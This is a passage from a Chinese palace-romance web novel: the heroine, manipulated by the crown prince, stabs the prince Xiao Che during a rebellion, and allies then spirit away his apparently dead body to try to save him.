宫中的女眷甚至是进宫赴太后赏梅宴的贵女、命妇们,也都一一来了紫宸殿…… 萧彻却独独不见颜嘉柔的身影。 不好,承欢殿地处偏僻,离紫宸殿最远,颜嘉柔昨晚又被他折腾了半宿,天将明是才沉沉睡去,此刻未必能知道外面已经变天了。 不行,他必须去承欢殿找她! 等出了紫宸殿,迎面正撞上燕骁带了一队禁军过来加固防守,见到萧彻正从紫宸殿出来,当即沉声道:“这个当口,宫中到处乱作一团,殿下不好好待在紫宸殿,出来做什么?” 萧彻:“宫中如今形式如何?” “那些弥勒教的人以营造司的名义分批混入皇城,有些则混进送水队和粪夫中,林林总总加起来大概有上千人之众,而且他们在宫中有内应,许是买通了宫中的太监,帮他们开了宫门,不过到底是群乌合之众,羽林将军已经率羽林军前去剿灭乱党了,用不了多久,当能平息这场混乱。” 萧彻皱眉道:“也就是说,他们还会流窜作乱一段时间,颜颜在承欢殿不安全,我得去把她带回来。” 燕骁深吸一口气:“我就知道你是为了她!” “罢了,我拨几个人手给你,速去速回。” 萧彻按上他的肩,闻言轻扯了唇角:“谢了,兄弟。” 燕骁深看了他一眼,只道:“速去速回,我在紫宸殿等你。” —— 萧彻在路上遇上了一股流窜的乱党,他们见他通身的装扮与气度,猜到他是皇子,当即红了眼,立刻挥刀朝他砍去。 不过以萧彻的身手,他们自然伤不了他分毫,只是在打斗的过程中,他注意到其中有一人对付他时,并不像旁人一般拼命,且虽然以黑巾遮面,一双吊梢三角眼却让他觉出几分眼熟,似乎在哪里见过,他侧身时耳后露出的一颗红痣则更是肯定了他的想法。 当下心中就浮上一层疑虑。 这时身后有人挥刀向他砍来,他耳廓微动,猛地回身一脚踢向他的心口。 那人当即被踢出一丈远,摔落在地后,猛地呕出一口鲜血。 萧彻却瞥见从他腰间掉下一个物件,竟像是宫中监造司的腰牌,逆党怎会有宫中的腰牌?弄到监造司的腰牌,可比收买太监可要难得多。难怪能混进这么多人,只怕背后之人并不简单。 然而当下自然是颜嘉柔最为紧要,于是萧彻只是捡了腰牌放入怀里,也不再与那些逆党过多纠缠。 —— 等到了承欢殿后,远远看见颜嘉柔站在回廊下赏雪,周遭并没什么异动。 看来承欢殿地处僻静,逆党尚未来此处作乱。 萧彻松了口气,朝颜嘉柔走了过去:“颜颜,跟我走。” 颜嘉柔听闻动静,转过脸来看他:“萧彻,你来了。” 她微微笑起来,隔着漫天细雪,看不清面容,于是笑意更显虚幻:“你看,下雪了。” 萧彻喉结滚动,上前牵过她的手:“我看到了,乖,等晚些我再陪你一道赏雪,现在先跟我走。” 他说完正要带她走,忽然一支羽箭“嗖”得一声破空而来,萧彻立刻带着颜嘉柔侧身躲避,羽箭堪堪擦过他的前额,他皱眉转头望去,只见萧珏不知何时已站在殿门口,身后跟着东宫的府兵,他手上拿着一把弓弩,正慢条斯理地抚摸着弓弦。 萧彻将颜嘉柔护在身后,缓缓眯起眼眸:“太子这是何意?” “哦,是三弟啊,弥勒教作乱,孤心系嘉柔,特地过来承欢殿察看。没想到这雪白得颇为晃眼,孤一时没瞧清,还以为是逆党呢,险些伤了三弟,实在是对不住了。” “是么,”萧彻淡淡掀眸,意味不明地道:“嘉柔有我护着,便不劳太子操心了。如今弥勒教作乱,太子该领着你的亲卫共同抵御外敌才对,大是大非面前,我想太子该是拎得清。” 萧珏仍是笑着,笑意却不达眼底:“三弟说的是啊,孤受教了。” 萧彻蹙眉,眼皮跟着一跳,萧珏今天不太对劲,从一开始见到他带着府兵出现在这里时,他便隐隐觉出不对了。 当务之急,是先带颜嘉柔离开这里。 他朝一旁的那支禁军略一点头,众人会意,替他率先开路。 萧珏略一抬手,府兵分列两侧,像是为萧彻等人让行。 萧彻牵着颜嘉柔的手,正要带她往前走,却发现颜嘉柔像是被定在了原地,一动不动。 他转头望向她:“怎么了?是不是吓到了?” “别怕,”他柔声道:“有我在。” 颜嘉柔低垂着头,看不清她脸上的神色,只听她的声音在漫天飞雪中轻飘地响起:“萧彻,你还记不记得,昨晚你问我,为什么要送你那样一份礼物。” “记得,你说明日我便知道了。”他伸手抚上她的脸,粲然一笑:“说起来,这会儿已经是‘明日’了——宝宝,怎么突然说这个?” “是啊,这会儿已经是‘明日’了……”她抬起头,雪**致的面容在雪色的映衬下愈发全无血色,透着一种苍白的羸弱,仿佛琉璃般美丽易 碎:“我想,也是时候告诉你答案了。” 眼下并不适合与她说这个,萧彻更想立刻带她离开这里,不过他察觉到颜嘉柔神情有异,许是小女孩多愁善感,见了下雪天生出一些哀绪,所以瞧着有些魂不守舍。 他也不愿意拂逆她,她想对他说什么,何时何地,他听着便是了。 逆党不成气候,这里又有禁军和府兵把守,不过一句话的功夫,想来也耽搁不了什么,他便翘起唇角,配合着问:“是什么,嗯?” 颜嘉柔看着他,又往前走了一步,两人离得更近了。 她久久地看着他,却始终没有说话。 萧彻眉梢微抬:“怎么,不是有话要对我说?怎么呆了?” 他笑了笑,修长的手指搭上她的眉骨,想替她抚去眉间萦绕的几分失神怔仲:“莫不是真吓坏了?我说了,别怕,有我……” 余下的话终究没说出口。 极沉闷的一声动静,却也极轻,轻到仿佛是雪落下的声音。 利刃入肉,便是这样的一声动静。 兰陵人的体质较常人占尽便宜,自然也要忍受常人难以忍受的十倍痛苦。 极致的痛楚在胸腔蔓延开来,搭在眉骨处的手指不可抑制地蜷缩。 但最疼的却不是胸口的那一刀。 是被颜嘉柔背刺,这一刀,这样的诛心…… 像是坠入幽深的湖底,四面八方的湖水灌入口鼻,冰冷刺骨,绝望无孔不入,拖着他不断溺坠。 冰冷的雪粒簌簌落下,沾在手背上,转瞬消融,却是这样的冷,冷意像是要浸到人的骨缝里。 即便到了此刻,萧彻也依然只是以一种茫然的姿态看向她:“颜颜……”似乎并不知道自己做错了什么。 他此生从未有这么疼的时刻,这样的难以忍受,疼得几乎已经意识不清了,否则绝不会这样在她面前说出这样脆弱的话:“颜颜,我好疼……好冷……” 可她只是冷冰冰地看着他,脸上有一种近乎麻木的怔仲。 她看着他,就像在看一件死物。 “你问我为什么好端端的,要送你礼物。”她轻声道:“这就是答案。” “倘若昨日不送,以后便再没有机会了。” “萧彻,你我这段孽缘始于情//。欲,便也该终于情//。欲,昨晚的种种,便当做一个了结。你我今日,恩断义绝。” 恩断义绝,这样沉重的四个字,她却说得那样轻飘。 身体越来越冷,绝望的寒意浸透骨髓,爬遍全身。 在这样的关头,他竟陡地笑了一声。 随后极为缓慢地低下头,以一种旁观者的姿态,迟钝而游离地察看自己的伤口。 右胸往下第三根肋骨处。 正是他的命门所在。 果然如此。 她刺中的果然是他的命门,这个位置……她真想要他的命。礼物?原来昨日极尽缠绵时,她一遍遍叫着他的名字,与他做着世上最亲密的事,那样得难舍难分,心里想的,却是怎样将匕首刺入他的命门。 刺中命门,疼痛是常人的百倍。 难怪这样疼啊…… 剧烈的疼痛让他的视线也渐渐开始模糊,入目所见,到处都是白茫茫的一片。 是啊,下雪了。 非关癖爱轻模样,冷处偏佳。别有根芽。① 雪花美丽,却到底无根。 京都多年不曾下雪了……这一场幻梦一般的雪景,等几日后,便会一一消融,不留半点痕迹。 终归是短暂而无望。 他想,这或许是他此生见到的最后一场雪了。 第126章 第126章怪病彻底治愈。…… 不远处,萧彻带来的那支禁军察觉到异样,正要上前,却忽然被不知何时悄然走至身后的东宫府兵抹了脖子。 他们以诡异的姿势转过身去,在看清身后之人时震惊地睁大了眼,身子随即踉跄着向后倒去,到死的那一刻,他们都不敢相信杀他们的不是逆党,而是同袍。 这一场血性的屠戮,因为一方毫无设防,未曾挣扎便命丧刀下,几乎悄无声息。 萧珏缓缓勾起唇角,眼里闪过一丝蔑然。 他漫不在乎地收回目光,抬头重新望向不远处对这里的一切毫无所察的两人。 —— 颜嘉柔到底难以自抑地哭出了声,明明是她将匕首刺入他的胸口,可她此刻整个人都在颤抖。 匕首拔出的一刹那,鲜血飞溅,有几滴溅到她的脸上,温热而濡//。湿。 她却仿佛被烫到一般,惊慌失措地往后退去。 匕首的刀尖下垂,鲜血蜿蜒滴落在雪地中,极致的白,惊心的红,恰似雪地里开出的朵朵红梅,有种诡异的妖冶。 纷纷扬的飞雪簌簌而下,身上越来越冷,萧彻抬眼,浅淡的瞳孔映着漫天雪色,雪花落在身上,转瞬消融,寒意丝丝入骨,他能感受得到生命正在一点一滴地流逝。 连撑着眼皮都已经费力至极,但他仍是要勉强开口。 “那个装有我命门的锦囊……你打开过了?” 颜嘉柔一怔,当下第一反应是:他如何知道?与此同时,心底生出一丝说不清道不明的怪异之感,在这样的关头,他为何会问这个问题? 然而到底这种时刻,思绪纷乱,一时实在抓不住那个念头,只如实答话——此刻也的确不必再说谎了:“是!怎么,没有想到?你是不是以为我爱你入骨,不可能生出害你之心,绝不会打开那个锦囊?可是萧彻,不是所有的女人都会为你舍生忘死,甘心被你利用,我已经不是那个你以为可以随意玩弄于鼓掌的蠢货了。” 萧彻惨淡地一笑,单这一笑,便已经使他更为虚弱,他缓了许久才问:“为什么……” 虽然只有短短的三个字,颜嘉柔却知道他想问什么。 她双手紧紧攥握着,深吸了一口气:“为什么?因为只有这么做,我身上的怪病才能彻底治愈,我才不用被迫和你虚与委蛇,和你纠缠不休。” 萧彻喃喃道:“……被迫?” “呵……” 话已开了口子,自然是恨不得一口气全说出来。为什么?原因又岂止是一个? 她的情绪霎时变得激烈起来,眼圈泛红,近乎失态地道:“是你设局害太子哥哥重伤坠马,为了谋夺太子之位,你做了那样多伤天害理的事……你一直都在骗我,一直都在利用我,这一切都是你做的,我不过是为他,也为我自己报仇而已!” 这般的声嘶力竭,像是要为了证明今日这一切她从来没有做错! “萧珏?果然还是为了他……你竟这样喜欢他……” “那我呢?”他想他终归还是不愿相信,所以才会在这种时刻还问出那样愚蠢的问题:“你有没有哪怕一刻,对我动过真心?” 颜嘉柔颤动了一下眼睫,她的脸原本便生得雪白,此时更是全无血色,几乎融入这漫天雪色中。 乌黑的瞳仁漠然地看着他,她说:“没有,从来没有。” 事到如今,她竭力想抹去与萧彻 的种种,那是让她痛苦万分的记忆,她逃避般得不想承认, 何况萧珏说,她并非是真心喜欢萧彻,是被淫狐控制了心神才会如此,对,一定是这样……今日过后,她便能恢复正常了,再也不会有任何的痛苦,只要熬过了今日…… 思及此,她攥紧双手,语气更添了几分笃定:“我喜欢的,从始至终都只有太子哥哥,我与你的种种,不过是受了淫狐的影响,那并非我的本意!” 她挑着最恶毒最刻薄的话刺他:“我怎么会喜欢你,你是兰陵人,世人说得不错,兰陵一族专擅勾引蛊惑之事,玩弄人心,最是下贱。”她知道这是萧彻最深切的痛处,她比任何人清楚这句话对他来说到底有多诛心,她就是故意的。 她心中并非这么想,但她偏是要这么说。 她早说了,她若有五分的痛楚,便要他承受十分。是他背叛她在先,她只不过是想让他也尝一尝心痛的滋味,她有什么错?她强按下心底那一阵说不清道不明的心痛,一遍遍地告诉自己,她没有错。 那话并非出自她的本意,可话中的恨意是真。爱恨交织,原本就是相伴相生。 这样的神态和语气,任谁都挑不出半分破绽。 萧彻想,这是她的真心话。 一字一句,宛如凌迟。 可或许是已经经历过极致的痛楚,如今再听到这些,居然有一种趋于麻木的平静。 他几乎没有反应,只是垂在身侧的手指几不可察地蜷缩了一下。 他凝视了她片刻,忽然笑了声:“好,好……” 他居然是这样的反应,她以为他会像从前那样生气…… 颜嘉柔有一瞬间的心烦意乱,报复萧彻似乎并没有她想象中的那般快意,她蹙眉道:“今日之后,我和你的羁绊便会彻底斩断,我的怪病也会随之治愈,我不再需要你,也终于不必再对你虚与委蛇了。萧彻,我们从此,两不相欠。” 雪终于越下越大。 大约真是虚弱到了极点,连雪花落在身上的重量都清晰可感,他到底支持不住,缓缓跪在她面前,连抬头的动作,亦要拼尽全力:“你总说,让我等你……你说……你是是喜欢我的,只是想……让我再给你一点时间……” “你一遍遍地说,我一遍遍地听……” “说的多了,我也就当了真……” “我以为我总能能等到……我不奢求你能,像我喜欢你一样……那么喜欢我,只想着,时间长了,你总能更喜欢我一点…………” “便为着这一点可怜的幻想,我一遍遍地等……” “结果等到的……是你今日往我身上刺的这一刀……” “多可笑,你骗了我多少次,我便原谅了你多少次……可是颜颜,这真的是最后一次了……” 颜嘉柔不知何故,心脏猛地一缩。 她踉跄地往后退了一步,低头看着他,只见他身下不知何时已经积起了一滩血洼。 那个被她刺破的伤口,正源源不断地往外渗着鲜血。 一个人怎么会有那么多血,萧彻他……怎么会流那么多血…… 明明她只是用匕首刺了一个无关紧要的地方而已…… 她无措地怔在原地,看着他慢慢地倒在雪地中,目光渐渐变得涣散,用尽最后一丝力气,问她:“我在庭院给你堆的两个雪人,你看到没有……” 漫无边际,毫不相干。 ——他最后留给她的,竟然是这样一句话。 然而那样轻的声音,很快就消散在了风雪里,眼皮越来越沉重,他已经不能够听到她的回答了。 在意识消散前的最后一刻,他望着纷纷扬扬的大雪,忽然漫无目的地想到,这样大的雪,落在发上,一时不及化开,该是白了头了,阴差阳错,倒也不算辜负白首之约。 这样,也好。 这般想着,他渐渐闭上了眼。 …… 颜嘉柔怔怔地站在原地,仓惶地想要伸手触碰他。 却在这时,忽然响起一声凄厉的叫喊:“颜嘉柔,你杀了他,你杀了他!” 是姬乐,她不知道什么时候出现在了这里。 颜嘉柔只见到她神情状若疯癫,死死地盯着她,眼里像是酝酿着滔天的恨意,恨不得扑上来一刀一刀活剐了她。 她不知道她为何这么激动,她只是刺了无关紧要的一刀而已。 是了,她喜欢萧彻喜欢得走入人魔,莫说刺了他一刀,恐怕只是让他掉了一根头发,她都会对她恨之入骨,对,一定是这样…… 兰陵人体质异于常人,轻易根本不会死,除非刺入命门。 是姬乐太过在意萧彻了。 一转头却又看见映雪站在廊下看她,同样是一副不可置信的眼神。 为什么,为什么他们都那样看她…… 她忍不住叫喊道:“我没有……我没有……我没有杀了他!” 她怎么可能会杀他?尽管知道他为了谋夺太子之位,不惜陷害萧衍,重伤萧珏,更是从头到尾都在玩弄她,利用她,实在罪该万死,她也从来没有想过杀他! 她只是想刺他一刀,斩断与他的羁绊而已! 为什么,为什么她们都用这样的眼神看她!就好像她做了什么十恶不赦,不可原谅之事! 就好像……她真的杀了萧彻…… 不,不是这样的,她没有,她没有! 外面突然起了躁动,有由远而近整齐的脚步声、铠甲碰撞发出的金属声……她还听到了燕骁的声音,在高喊着:“逆党已经尽数伏诛!” 之后便是禁军的欢呼声。 原来叛乱已经平息,燕骁来了……姬乐也在……她们一定会去找太医医治萧彻……… 她似乎没有留下来的必要了。 等萧彻醒来,也不会再想见到她。那样也好,他们原本就一刀两断,互不相欠了。 她也确实不想再留下来。 或许是受不了他们看向她的眼神、姬乐一声声凄厉的质问…… 燕骁若是见到里面的场景,想必也跟她一样,虽然她并没有杀了萧彻,但是依旧受不了他们这样近乎歇斯底里的指控,这让她产生一种错觉,仿佛她真的杀了萧彻。 这样的念头,光是在脑中想起,便觉遍体生寒,她本能地就想逃避…… 她终于忍受不了,转身跑回了内殿。 —— 颜嘉柔走后,姬乐才如梦初醒一般,踉踉跄跄地跑到萧彻身边。 那样多的血,在雪地的映衬下,愈发红的触目惊心。 她一下子跪在了他的身旁。 他静静地躺在血泊中,容貌俊美依旧,除了脸色略显苍白之外,并无任何异样,似乎只是睡着了。 然而手指探及鼻尖时,已经没了气息。 姬乐颤抖地收回了手,脸上血色尽褪,只喃喃地道:“不会的,不会的……” 她闭了闭眼,稳定心神,重新将手指探入他的心腑处。 还好,那里尚存了一丝心脉。 兰陵人体质异于常人,没了气息,并不代表已经死亡,心脉全无才是。 但是气息全无,意味着离死也不远了,倘若再不做点什么,心脉消逝,也是迟早的事。 留给她的时间,已经不多了。 “小彻……你不会死的……”她伸手抚上他的脸,指尖流连在他的眉目间:“我会救你……” 她轻声喃喃道:“无论付出什么代价,我都会救你……” 她想,她不该与虎谋皮的,那时她并不知道,与萧珏的这一次合作,会成为她这辈子最后悔的事。 今天本是他告诉她,她将心愿得偿的一天,颜嘉柔与萧彻,从此再无干系。 可昨晚萧彻彻夜未归,今早又听闻弥勒教逆党攻入内廷,她眼皮一直跳,心中始终觉得不安,等到逆党大部分被剿灭,她终于能够找到机会来到承欢殿。 谁知进来后听到动静,一路走至**,撞见的便是令人神魂俱裂的一幕—— 萧彻被匕首刺入命门,鲜血直流,而对面正站着颜嘉柔,藕粉裙角沾染了蜿蜒血痕,却不是来自于她,她的脚边正静静地躺着一把带血的匕首,而她正一脸仓惶,不知所措地看着萧彻。 萧彻命门的那一刀是谁刺的,已经一目了然。 可若说这事与萧珏毫无干系,皆是颜嘉柔那个蠢货一人所为,她是怎样都不肯信的。 然而眼下究竟不是追究这个的时候,想办法救萧彻,才是当务之急。 可要出门时,却被东宫的府兵拦了下来。 萧珏眯了眼,转身看向她,意味不明地道:“姬乐姑娘,这是要上哪儿去?” “太子殿下,三殿下已经没了气息,燕小将军在外面,奴婢只是想让他进来见三殿下最后一面,顺便帮他敛尸而已,太子殿下难道这也不允吗?” 萧珏慢慢笑起来,笑意却并不达眼底:“不必了,孤听外面已经没了动静,想必燕骁已经走远了。至于敛尸,孤是你主子的兄长,有孤在此,又何必麻烦外人呢?” 说着朝一旁的府兵使了个眼色,府兵会 意,立刻动手想将她拿下,只是他们见她只是个女流,身形又十分纤瘦,便生了轻敌之心,没料到她会功夫,一时错愕,竟教她逃出了承欢殿。 萧珏见状一挥衣袖,冷斥道:“一群废物!” 却到底没放在心上,也没让他们继续去追。 在他看来,一个小宫婢而已,该是掀不起什么风浪的。 到处去说是颜嘉柔杀了萧彻? 呵,有谁会信? 萧彻的死只能是逆党造成的。 思及此,他勾起唇角,仰头深深做了一个吐息。 萧元乾中风,太后急火攻心,也已经不省人事,这宫里,也该轮到他做主了。 —— 姬乐出了承欢殿,一路向北快跑,在心中飞快地盘算着:所幸承欢殿离北宫门并不远,贵女们的轿辇都停在北宫门外,崔令颐自然也不例外。 此时叛乱刚刚平定,她们心有余悸,必定迫不及待想要出宫,这会儿该是到北宫门了。 萧珏这会儿想必正在确认萧彻是否已死,他恨了他那么多年,如今他一朝身死,他必会生出许多感慨,少不得对他说一些觉得快慰的话,不会立刻处理他的“尸体”。 她必须快些、再快些……赶在崔令颐出宫之前,赶在萧珏处理“尸体”之前,也赶在……萧彻那一缕微弱的心脉彻底消逝之前。 至于为什么要找崔令颐,魏熙帝和太后都已经指望不上,也只有崔令颐能够从萧珏的手中将萧彻带出宫秘密养伤——崔令颐身为崔氏嫡女,萧珏会卖她一个面子,且萧珏知道她的心思,因而她想要得到萧彻的“尸身”,并不令人起疑。 更重要的是,崔家有能令人起死回生的玄麟丹,或许那是可以救回萧彻唯一的希望。 —— 北宫门外,崔令颐由丫鬟搀扶着,正要踏上轿辇,忽然听到身后响起一道急切的女声—— “崔小姐且慢!” 崔令颐转头,认出那名朝她快步奔来的宫婢,正是萧彻身边的姬乐。 姬乐一路跑至崔令颐跟前,面色焦急哀痛,只扑通一声跪在她面前道:“崔小姐,求您救救我家殿下!” 崔令颐闻言神情震颤,立刻蹙紧了眉。 —— 承欢殿,**内。 府兵过去试兰陵萧彻的气息,回来禀告萧珏道:“殿下,三殿下他……确实已经断了气。” 萧珏闭了闭眼,再睁开眼时,眸中依旧难掩兴奋,脸部肌肉都在微微抽动。 他缓缓朝萧彻走了过去,俯身亲自将手指探向他的鼻下……果然是气息全无。 他的脸上渐渐显现出一种奇异的微笑,只觉浑身血液都在快速流动,眸中精光闪现。他恨了他那么多年,如今他终于死了,如何不叫人振奋! “三弟,你莫要怪我,要怪就怪你投错了胎,诞于妖妃腹中,生来不祥,又是个下等的异族杂种,却偏偏应了那句‘爱屋及乌’,从而夺得了父皇全部的宠爱,可凭什么呢?凭什么孤就要承载他的满腔厌憎?!就连孤的母后,也因为你们这对妖妃母子而不得善终,她又做错了什么?!” “你们这对母子,都是一脉的下贱,一味地去抢别人的东西,一个抢走孤的父皇,一个抢走孤最爱的女人,还想抢走属于孤的太子之位,呵,你们配吗?” “如今落到这般下场,也不过是天理昭昭,报应不爽罢了。三弟啊三弟,这般说起来,其实也要怪你自己。啧,死在最爱的女人手上,这滋味,不好受吧,你且先下去阴曹地府,看孤如何登上大宝,又如何与你最爱的女人恩爱快活,生儿育女,哈哈哈哈哈……” 他这般对着萧彻说了许多,等将心中那些年的不平愤懑全都一一发泄出来后,方才觉心中快意不少——积年的心魔,终于在这一刻随着萧彻的死彻有所消散了。 他站直身子,正开口吩咐手下的人将萧彻的“尸体”收敛时,忽然听到一道女声自兰闺门响起:“太子殿下,且慢。” 兰闺门是承欢殿的偏门,也是连接庭院的一道门,在兰闺门门口便可看清庭院内所发生的一切。 而如今兰闺门大开,门口却由东宫的府兵把守着。 萧珏闻声转过头来,看清来人后微微眯起了眼:“崔大小姐?” “你怎会在此?” “我?我不过是有一些事想不通,想过来请教清河公主罢了,倒是太子殿下您,怎么带了府兵来公主的后殿……三殿下又怎么会躺在血泊中,该不会是您杀了他吧?” “崔大小姐,这话可不能乱说。弥勒教作乱,孤怕嘉柔有什么危险,才带府兵来承欢殿,至于三弟,他是死在弥勒教的手中,跟孤可没什么干系。” “是么?”崔令颐沉吟道:“可倘若真如殿下所说,这庭院四周为何不见打斗痕迹?地上躺着众多禁军尸首,却无一具逆党的尸体……三殿下身手不俗,殿下不会是想说,他和那些禁军豁出性命,连一个逆党都未曾诛杀吧?” “逆党若真那么神通广大,又怎么会不到半日便被尽数平定?”崔令颐微微笑起来:“太子殿下,您不觉得奇怪吗?” 萧珏眉尾抽动,他怎不知如今破绽百出,打斗的痕迹待会儿自然会有,逆党的尸首待会儿也会有,只不过还未来得及布置而已,谁知道崔令颐会突然过来,还一眼看穿了他的把戏。 崔氏令颐,果然难缠,不像颜嘉柔那般好糊弄。 萧珏看着她,眸底闪过一道寒芒,此刻也不禁动了杀心:“崔大小姐,你到底意欲何为?” “殿下不必紧张,我也无意惹怒殿下,如今叛乱已经平定,我本来正要出宫,崔府的人还在北宫门外等着我回去呢。我可不想临走前还落到和三殿下一样的下场,白白丢掉自己的性命,太子殿下,您说呢?” 萧珏暗自咬牙,杀意被迫褪去,皮笑肉不笑地道:“崔大小姐说笑了,逆党已尽数伏诛,又如何还能要了你的性命呢?” “是么,”崔令颐似笑非笑:“那就好。” 她道:“太子殿下,我有些体己话想跟你说,不知可否让我进来?” 萧珏喉结滚动,略一抬手,府兵便将她放行。 她一步一步朝着萧彻走近,每走一步,心就跟着紧一分,等终于走到他身前,看清躺在血泊中的面容时,她心中骤然一缩,面上却又要竭力装作一副云淡风轻的样子:“真是萧彻,他就这样死了?” “不错,他死了,只是不知崔大小姐心中是难过多些,还是快意多些?毕竟他这般不知好歹,连我们大魏第一贵女的心意也敢辜负。” 崔令颐恍若未闻,只蹲下身,将手指试探地放在他的鼻下,果然已全无气息…… 她的呼吸骤然急促,心跳剧烈不止,好半天才平稳气息,按照姬乐所说,不动声色地将手掌覆于他的心口。 还好,仍尚存一丝心脉…… 然而已经十分微弱,不能再等了。 她豁然起身,看向萧珏道:“太子殿下,您要做什么,我不管,今日之事,我也不会泄露,我只有一个要求,萧彻我要带走。” 萧珏皱眉:“你要他的尸首做什么?”不知想到了什么,神情颇有几分难言的深意:“崔大小姐对三弟一向钟情,这孤是知道的,不过也不至于连他的尸首都不放过吧?他毕竟是名皇子,他的尸身孤若给了你,届时等父皇醒来,孤又怎么向他交代呢?便是下葬,也总不能以空棺入陵寝吧?” “殿下要的不过是萧彻的性命,只要他确实已经死了,其余的事,殿下又真的会在意吗?”她说着俯身从地上捡起先前颜嘉柔遗落的那柄匕首,指尖缓缓擦拭着上面的血迹,略一挑眉:“好精致的匕首,刀柄还镶嵌了红宝石,该是女子所用之物吧?” “这样薄的刃,才契合萧彻身上那道极细的伤口,用匕首伤人,非贴身不能办到,能近的了萧彻的身,且一击致命,令他并不设防,还是女子的,太子殿下,还用我说是谁吗 ?” “……说起来,承欢殿内,发生这样大的事情,怎么不见清河公主呢?” “皇兄死了,她做妹妹的,怎么也不出来哀恸一番?就算不见得有多伤心,但这么大的动静,她也不曾听到吗?便不好奇?还是说,她其实比谁都清楚萧彻是怎么死的,所以根本不必好奇。” 萧珏危险地眯起眸子,沉声道:“崔令颐,你到底想做什么?” “太子殿下,我已经说过了,我只要萧彻——不想让你宝贝的幼妹卷入这趟浑水,我还是劝你快些答应我的要求,你也有更多时间找一具与萧彻身形相似的尸体,以及布置好这里的一切,你说呢?” “你说嘉柔杀了萧彻,你以为旁人会信?” “信不信的,”崔令颐抬头,唇边缓缓绽出一个笑,在这漫天雪色的映衬下,容色更为清绝出尘,却莫名让萧珏后背泛上一阵寒意:“太子殿下以为我拾起匕首时为何指尖触捏刀刃,而非刀柄?” 萧珏闻言不知想到了什么,瞳孔骤缩:“你……” 崔令颐道:“也是巧了,这匕首掉落在雪地中,刀刃露出,刀柄却被不远处悬铃木所落下的枯叶遮掩,大半未浸到雪水,上面残留的痕迹倒还清楚的很……” “质地细腻的熟宣,不易晕染,打湿后将其覆于刀柄纸上,轻轻按压,便能将痕迹转移到纸上,这样一来,便能印拓出这杀害萧彻之人手上的纹路了,太子殿下你说,会与你心爱的皇妹有几分相似呢?” “崔令颐,你!” “好了太子殿下,我说了,别的事情我并不想插手,只要你将萧彻给我,那么其余一切,我权当不知情——他都已经死了,将他给我,于你又有何损害呢?” “既然他都已经死了,将他给你,于你又有什么作用呢?” 崔令颐只道:“殿下既知道他辜负了我的心意,那便该知道,我的性子,是不会那么轻易咽下这口气的。我今天来找清河公主,殿下应该也知道我是为何而来,我不过是想再好好看看,他喜欢的人,究竟是什么样。” “谁知道前殿紧闭无人值守,绕到后殿偏门,在门口便撞见这样一幕,公主没见到,却见到萧彻死了。也罢,死了也没什么不好,终归活着也不能够如我意,眼下死了,我若得了他的尸首放进冰棺,亦可如愿让他陪着我,等我死前将他烧成一抔灰,作为陪葬与我同穴,轮回路上,也能一道。” 萧珏闻言唇角微微抽动:“崔大小姐果然……”惊世骇俗。 崔家家风苛峻,家规森严,压抑人性,又极重门阀,这般常年浸淫下来,让她喜欢萧彻却又不能喜欢萧彻,渐渐心理扭曲,倒也不奇怪。 只是听说崔家有玄麟丹,传闻能令人起死回生,崔令颐要了萧彻的尸首回去,不会别有所图吧?眼神便又多了一丝疑虑。 崔令颐却像是能看穿他的心中所想,微笑着道:“太子殿下是想说我们崔家有玄麟丹,有起死回生之效,担心我拿它去救萧彻?可世人都知,那不过是个噱头而已,殿下难道忘了昔年我父亲在宫宴上亲口说过,玄麟丹只有重伤重病之人即将死去时,服下才能见效,而非真有起死回生之能,否则昔年家主自裁后,族人早就拿玄麟丹续命了,又哪里还传得下来?何况那丹药珍贵无比,向来有我爹保管,又如何会随意交予我救不相干的人?” 萧珏闻言略一沉吟,知道她所言不假。罢了,崔氏女心思缜密,心计亦非常人所能比拟,背后又有整个崔氏作为依仗,十分棘手,还是遂她的意,省得再与她纠缠:“好,那就如你所愿。” —— 外面的雪依然在下,整个世界都苍茫一片。 这样大的雪,足以冲刷一切痕迹。 庭院里的那摊血迹,用不了多久,就会被彻底掩埋。 就像从未发生过一样。 颜嘉柔蜷缩在床下的角落,这般怔怔地不知坐了多久。 手臂上忽然传来一阵细微的摩挲感,她像是想到了什么,立刻卷起衣袖,只见手臂上那枚代表她和萧彻之间有所羁绊的印记,正缓缓消退…… 她睁大了眼睛,意识到她的怪病在此刻终于彻底治愈,也就意味着她不会再受狐狸的影响而喜欢萧彻,自然也就不会因为他的背叛而感受到痛苦了。 她解脱了。 然而那点喜悦刚漫上唇角,下一瞬,却又陡然凝滞。 为什么,为什么她的怪病明明治好了,但一想到萧彻,她还是心痛难当,甚至比从前更甚。 为什么?究竟为什么会这样?萧珏明明说,只要她这么做了,怪病治愈,她就不会再感到痛苦……不是说她是受妖狐的蛊惑,才会喜欢萧彻的吗?为什么如今羁绊解除了,她的情绪还是完全由他支配,无时无刻不在想着他? 方才被强压的心痛迎来剧烈的反噬,仿佛钝刀一寸一寸地割着心腑。 一种难言的恐慌在心底蔓延开来。 一个极为可怖的念头后知后觉地浮现在脑海,她只觉喉咙凝涩得厉害,刚想挣扎着起身,门忽然被人从外面推开,映雪走了进来,携了一身风雪的冷意,显是刚从外间进来。 颜嘉柔扶着床栏,一瞬不瞬地看着她。 “……萧彻呢?”她涩然地问:“他怎么样了?” 映雪怔了一下,似乎没想到她会这样问,她原以为,三殿下如何,她是再不关心的了。 毕竟她亲眼见到她那样对他…… 而且她这般问法,怎么透着古怪? 三殿下还能如何,她难道不清楚么? 然而她终究不能不答,见颜嘉柔神情恍惚,便斟酌着措辞道:“三殿下他……他的尸首,已经被崔姑娘带出宫去了……太子原告诫奴婢,只将看到的全咽在肚子里,可主子您不是旁人,您问我,我自然没有不答的道理,想来太子也不会怪罪……” 后面映雪说了什么,她全没听见,只来回念着“尸首”二字,一张脸唰的一下变得惨白,只觉一阵天旋地转,耳边嗡嗡作响,好半天才嗫嚅着开口:“萧彻的……尸首,”她怔怔地看向她,乌黑的瞳仁中仍透着一丝茫然,语气带着一种小心翼翼的问询,仿佛真的不能够理解那两个字的含义:“……是什么意思?” 第127章 第127章儿时救她的,原来是萧…… 映雪怔愣地望着颜嘉柔,从见到颜嘉柔杀了萧彻之后心中最害怕的事,到底还是发生了。 ——她根本不知道自己做了什么。 她在不知情的情况下,亲手杀了她最爱的人。 这对她来说实在太残忍了。 她是她最亲密的人,是她的主子,也是她最宝贝的妹妹,与她相比,萧彻自然显得无足轻重,她想颜嘉柔最是善良,她既然会向萧彻命门刺那一刀,那必定是他做了什么对不住她的事,她既想出气,而萧珏又会替她善后,那萧彻死不死 的,与她也没有干系,她的所有喜恶,都以颜嘉柔为先。 但倘使颜嘉柔根本不知道那一刀会要了他的性命呢? 这恰恰是她最担心的事。 